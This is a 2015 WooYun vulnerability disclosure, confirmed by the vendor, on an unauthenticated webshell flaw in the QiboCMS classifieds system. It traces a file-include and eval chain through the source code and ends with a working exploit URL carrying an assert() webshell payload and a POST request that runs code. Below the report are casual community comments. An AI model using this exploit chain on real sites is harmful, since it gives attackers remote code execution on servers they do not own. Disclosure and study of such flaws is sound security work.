当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(66) 关注此漏洞

缺陷编号: WooYun-2015-122599

漏洞标题: qibocms 分类系统最新版 前台无限制Getshell。

相关厂商: 齐博CMS

漏洞作者: ′雨。认证白帽子

提交时间: 2015-06-24 23:21

公开时间: 2015-09-27 16:22

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

14人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经确认,细节仅向厂商公开
2015-07-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-08-23: 细节向核心白帽子及相关领域专家公开
2015-09-02: 细节向普通白帽子公开
2015-09-12: 细节向实习白帽子公开
2015-09-27: 细节向公众公开

简要描述:

看到分数的那一刻,眼泪留下来。
分数出来以前一直感觉静不下心来,分数出来后更是。。
唉 , 或许要复读。
把之前一些没来得及发的洞先发了来。、
无需登录,无视GPC。

详细说明:

下载地址:http://**.**.**.**/down.php?v=fenlei1.0



首先来看一下inc/common.inc.php中



code 区域
isset($page) && $page = intval($page);
isset($id) && $id = intval($id);
isset($fup) && $aid = intval($fup);
isset($aid) && $aid = intval($aid);
isset($rid) && $rid = intval($rid);
isset($fid) && $fid = intval($fid);
isset($cid) && $cid = intval($cid);
isset($cityid) && $cityid = intval($cityid);





可以看到city_id在全局文件中被intval了。



再看到search.php中



code 区域
$postdb[city_id]	&&	$city_id	=	$postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。
$postdb[street_id] && $street_id = $postdb[street_id];
$postdb[zone_id] && $zone_id = $postdb[zone_id];



@include_once(ROOT_PATH."data/zone/$city_id.php");//包含

$city_fid=select_where("{$_pre}city","'postdb[city_id]' onChange=\"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')\"",$city_id);





全局有转义 截断不了



但是因为qibo的特殊性 在qibo的后台文件当中



function_exists('html') OR exit('ERR');



所以直接访问是不行的。



是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。



所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。



本来想参考师傅大屌的http://**.**.**.**/bugs/wooyun-2010-080524



但是打开do/js.php 发现



code 区域
<?php
error_reporting(0);
require(dirname(__FILE__)."/../data/config.php");
if(!eregi("^([0-9]+)$",$_GET['id'])){
die("document.write('ID不存在');");
}





已经把extract去掉了, 那就找另外的。



在admin/hack.php中





code 区域
if($hack&&ereg("^([a-z_0-9]+)$",$hack))
{
if(is_file(ROOT_PATH."hack/$hack/admin.php")){
include(ROOT_PATH."hack/$hack/admin.php");
}else{
showmsg("文件不存在");
}

}





再包含文件 再继续跟。



在hack/jfadmin/admin.php中



code 区域
elseif($action=="addjf"&&$Apower[jfadmin_mod])
{

$db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");
jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
}





这里入库了。



再看到do/jf.php中



code 区域
$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);

$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
while($rs = $db->fetch_array($query)){

$fnameDB[$rs[fid]]=$rs[name];
$query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1
while($rs2 = $db->fetch_array($query2)){
eval("\$rs2[title]=\"$rs2[title]\";");//就eval了。
eval("\$rs2[content]=\"$rs2[content]\";");
$jfDB[$rs[fid]][]=$rs2;
}
}





准备写一句话的时候,却发现了

在inc/common.inc.php中

code 区域
function Add_S($array){
foreach($array as $key=>$value){
@eregi("['\\\"]+",$key) && die('ERROR KEY!');
if(!is_array($value)){
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}





把eval替换了,这样我们就用assert把。





http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}



http://web/new/fenlei/do/jf.php



POST:yu=phpinfo();



随便找了个测试了下

http://**.**.**.**/do/jf.php





漏洞证明:

1.JPG

修复方案:

继续用你们惯用的正则把这个限制一下。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-29 16:20

厂商回复:

感谢提出来

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共4人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-06-24 23:22 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    @Finger 卧槽 我好感动。QAQ

  2. 2015-06-24 23:24 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    雨牛不哭!

  3. 2015-06-24 23:26 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    雨牛回归。。。!!!

  4. 2015-06-24 23:31 | Pany自留地 ( 普通白帽子 | Rank:134 漏洞数:31 | 0day just like a joke.)
    0

    雨牛不哭!

  5. 2015-06-24 23:35 | Hax0rs ( 实习白帽子 | Rank:43 漏洞数:8 | Hax0rs)
    0

    你关注的白帽子 ′雨。 发表了漏洞 qibocms 分类系统最新版 前台无限制Getshell。

  6. 2015-06-25 00:26 | Rainism ( 路人 | Rank:11 漏洞数:3 | hacking for fun)
    0

    高考完的放纵…………

  7. 2015-06-25 00:57 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)
    0

    北大青鸟,清华紫光,你值得加入

  8. 2015-06-25 01:00 | 昊昊 ( 普通白帽子 | Rank:182 漏洞数:44 | ...)
    0

    节哀.能上二本就走吧,复读也是浪费时间

  9. 2015-06-25 08:58 | 继续沉默 ( 实习白帽子 | Rank:62 漏洞数:9 | 好好学习,天天向上)
    0

    我都等了你一年了

  10. 2015-06-25 09:13 | 大亮 ( 普通白帽子 | Rank:359 漏洞数:70 | 慢慢挖洞)
    0

    学历对于你这样的大黑客没啥用

  11. 2015-06-25 09:42 | Cheery ( 路人 | Rank:26 漏洞数:5 | 0.0)
    0

    眼泪 ‘留’下来!!!

  12. 2015-06-25 10:05 | 我爱水秀天蓝 ( 普通白帽子 | Rank:103 漏洞数:16 | 好好学习,天天向上!)
    2

    个人建议:最好再复读一年,复读一年也不是浪费时间,想当年俞敏洪也考了三次才考上北大,你还很年轻,未来的路还很长。你很聪明,只是可能花在学校课程学习上的时间少些而已,复读一年争取上个好点的大学,发挥你的代码审计特长,再锻炼几年,在大学里结交一些牛人,将来在这个行业里一定有更大的前途。上没上大学还是有些区别的,虽然大学里可能学不到实际的有用的东西,但那是一种人生经历,会扩展你的视野和提升你的心态,对你将来的发展只有好处没坏处。

  13. 2015-06-25 13:01 | DeadSea ( 普通白帽子 | Rank:184 漏洞数:58 | 本人外形俊朗、眉清目秀、玉树临风、有明星...)
    0

    终于回来了。

  14. 2015-06-27 10:28 | yinian ( 实习白帽子 | Rank:71 漏洞数:24 | 一花一世界,一叶一菩提。)
    0

    @我爱水秀天蓝 我天朝有多点你这样的人才那还怕收复不了美国?

  15. 2015-06-27 13:12 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)
    0

    你可以考虑特招,看看有没有专业对口的院校,把wooyun id报上去

  16. 2015-07-04 21:46 | 爱神 ( 路人 | Rank:4 漏洞数:1 | Qq190290957)
    0

    @nzk1912 开玩笑呢,哪个大学会看乌云id招生,招生办的只认钱。。

  17. 2015-07-10 11:18 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了,也来挖挖漏洞,为创建安全...)
    0

    @爱神 如果招安全的人不知道乌云,那家公司也不值得去

  18. 2015-07-14 10:30 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)
    0

    @′雨。 雨牛不哭

  19. 2015-08-22 21:26 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)
    0

    https://security.alibaba.com/blog/blog.htm?id=21 牛逼啊

登录后才能发表评论,请先 登录